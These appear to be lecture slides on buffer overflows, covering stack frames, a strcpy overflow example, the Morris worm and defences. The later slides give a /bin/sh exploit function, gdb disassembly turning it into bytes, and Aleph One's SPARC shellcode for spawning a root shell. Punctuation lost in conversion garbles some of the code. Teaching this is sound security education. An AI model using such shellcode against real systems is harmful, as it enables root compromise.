Title: Fundamentals of Computer Security
1Fundamentals of Computer Security
- Program Security
- Buffer Overflows
2It Happens
- CERT/CC 1999 50 of all major security bugs were
from buffer overflow. - Today 2004 Weve known what can cause buffer
overflows for quite a while and the problem is
still big. - Some finger pointing Unsafe languages (C, C,
etc) are still widely used. (Java is safe, but
when highest performance is key, its not the
best option.) - Where it all starts Some languages lack bounds
checks on arrays and pointer references. Put that
together with careless programming and you have a
recipe for disaster.
3How it Happens
- Program declares a buffer, an area to store
input. The length of the buffer is fixed. - Program reads in data and writes it to buffer
without checking if the length of the buffer is
exceeded. - One can craft input data for the program which
contains machine code to open a shell (not
trivial, but can be done with some effort). That
data is passed to the program, which is somehow
convinced to execute the machine code contained
therein.
4Why This is a HUGE Problem
- Some programs execute as super-user (root). If
one of these is vulnerable to buffer overflow,
someone can exploit it to spawn a shell. The
shell will be a root-shell. - Programs that can execute as root have a
special status setuid or suid root. They can be
run by any user, but the moment they start
running, they run with root privileges. This may
be necessary (when the program needs access to
protected resources) or it may just be
convenient. Convenience is a REALLY poor excuse
for running a program suid root. - Even if your program is not meant to be run as
root, buffer overflows are a concern Once your
program is distributed, someone may set it to run
as root (people can get dumb when they are
desperate). - This happens in Unix and in Windows, as well.
5Defense Against Buffer Overflow
- Commandments never use gets(), avoid strcpy(),
always check array boundaries, -gt theres
something good to be said about these. - Be ever conscious of what you are doing (risk
assessment). - Know what to expect from the system.
- Choose the programming language appropriately.
- Use tools for analyzing your program.
6Programs and the Stack
- A programs stack segment
- A sort of scratch area for the program, parameter
passing for subroutines, space for automatic
variables, return address,
int foo(int P1, int P2) / subroutine foo /
int L1, L2 / local variables L1 and L2 /
L1 P1 P2 return(L1) / return value
/ int main() / main program /
x foo(1,2) / call to subroutine foo /
7Stack Frames or Activation Records
8Stack Frames
- A stack frame contains the corresponding
routines - Parameters.
- Return address (i.e. next instruction to execute
upon completion). - Saved registers.
- Local variables.
- Many architectures have registers
- SP, the stack pointer, points to the top of the
stack. - BP, the base pointer, points to a fixed location
within the frame. (Used to reference the
procedures parameters and local variables.)
9Stack Frames
- The main routine calls foo
- foos parameters are first pushed onto the stack.
- The next instruction in main to execute after foo
finishes, the return address, is pushed. - Control is transferred to foo.
- foos prologue
- Save callers (mains) base pointer.
- Set callees (foos) bp equal to the current sp.
- Increment sp to reserve space on the stack for
foos local variables.
10Stack Frames in Action
- foos stack frame at the after the completion of
the prologue
return address
stack
11Stack Frames in Action
- The execution of foo
- P1 BP-4
- P2 BP-3
- L1 BP
- L2 BP1
- The statement L1 P1 P2 would performed by
the following assembly language instruction - add BP-4, BP-3, BP // adds first two arguments
and stores the result in the third
12Stack Frames in Action
- foos epilogue cleans up the stack and returns
control to the caller - Callers (mains) bp is placed back into the bp
register. - The return address is placed into the ip
(instruction pointer) register. - The stack pointer is decremented to remove the
callees frame from the stack.
Stack frame
stack
13A Buffer Overflow
- int foo(char s) / subroutine foo /
-
- char buffer10 / local variable/
- strcpy(buffer,s)
-
-
- int main() / main program /
-
- char nameABCDEFGHIJKL
- foo(name) / call to subroutine foo /
14A Buffer Overflow
- foos stack frame after prologue
15A Buffer Overflow
- Stack after execution of foo (but
before the epilogue)
16A Buffer Overflow
- The string overflowed foos buffer
- Overwrote mains bp.
- Overwrote the return address with L 89
(ASCII). - When foo finishes control will be transferred to
the instruction at address 89. - Error.
- The Morris worm sent a specially crafted 243-byte
string to the finger daemon - Overflowed a buffer and overwrote the return
address. - The fingerd executed the /bin/sh program which
executed the grappling hook code.
17Attack Code
Take this code, compile it, and insert the
machine code on the stack. To execute the code
you now have to figure out a way to make control
jump to your first instruction. Overwrite the
normal return address on the stack with the
address to your first instruction and youre in
business.
void exploit() char s /bin/sh
execl(s,s, 0x00)
Take a hex dump
Position Contents Start of buffer
Try to fit exploit here. End of buffer
Other variables
Return address
The address of your exploit code
Parameters The
exploit if it didnt fit elsewhere. Rest of the
stack More exploit code and data,
if needed.
18Crafting the Code
(gdb) disassemble exploit Dump of assembler code
for function exploit 0x10608 ltexploitgt save
sp, -120, sp 0x1060c ltexploit4gt sethi
hi(0x10400), g1 0x10610 ltexploit8gt or g1,
0x2d8, g1 ! 0x106d8 lt_lib_version8gt 0x10614
ltexploit12gt st g1, fp -20 0x10618
ltexploit16gt ld fp -20 , o0 0x1061c
ltexploit20gt ld fp -20 , o1 0x10620
ltexploit24gt clr o2 0x10624 ltexploit28gt call
0x207f8 ltexeclgt 0x10628 ltexploit32gt nop
0x1062c ltexploit36gt nop 0x10630
ltexploit40gt ret 0x10634 ltexploit44gt restore
End of assembler dump.
void exploit() char s /bin/sh
execl(s,s, 0x00) int main() exploit()
19Crafting the Code
(gdb) x/bx exploit 0x10608 ltexploitgt 0x9d (gdb)
0x10609 ltexploit1gt 0xe3 (gdb) 0x1060a
ltexploit2gt 0xbf (gdb) 0x1060b
ltexploit3gt 0x88 (gdb) 0x1060c
ltexploit4gt 0x03 (gdb) 0x1060d
ltexploit5gt 0x00 (gdb) 0x1060e
ltexploit6gt 0x00 (gdb) 0x1060f
ltexploit7gt 0x41 (gdb) 0x10610
ltexploit8gt 0x82 (gdb) 0x10611
ltexploit9gt 0x10 (gdb) 0x10612
ltexploit10gt 0x62 (gdb) 0x10613
ltexploit11gt 0xd8 (gdb) 0x10614
ltexploit12gt 0xc2
Now you have a string (a pretty weird one, but
still a string), which can be written on the
stack and then later on executed
- \x9d\xe3\xbf\x88\x03\x00\x41\x82\x10\x62\xd8\xc2
20Example Code
- \x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\
x90\x0b\x80\x0e\x92 - \x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x
3b\xbf\xf0\xdc - \x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\x
d0\x20\x08\x90 - \x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08
sethi 0xbd89a, 16 or 16, 0x16e,
16 sethi 0xbdcda, 17 and sp, sp, o0 add sp,
8, o1 xor o2, o2, o2 add sp, 16,
sp std 16, sp 16 st sp, sp 8 st g0,
sp 4 mov 0x3b, g1 ta 8 xor o7, o7,
o0 mov 1, g1 ta 8
This string corresponds to machine code for
SPARC Solaris (Aleph One, 1996). This little
program launches a shell if this is executed
from the context of a program that runs as user
root, the shell thats is launched has root
powers.
21Crossing the Minefield
22References
- Security in Computing, by Pfleeger and Pfleeger,
3rd Edition. Prentice Hall, 2003. - Building Secure Software, by Viega and McGraw.
Addison-Wesley, 2002. - Fundamentals of Secure Computing Systems, by
Tjaden. Franklin, Beedle Associates, 2004. - Smashing the Stack for Fun and Profit, by Aleph
One, 1996.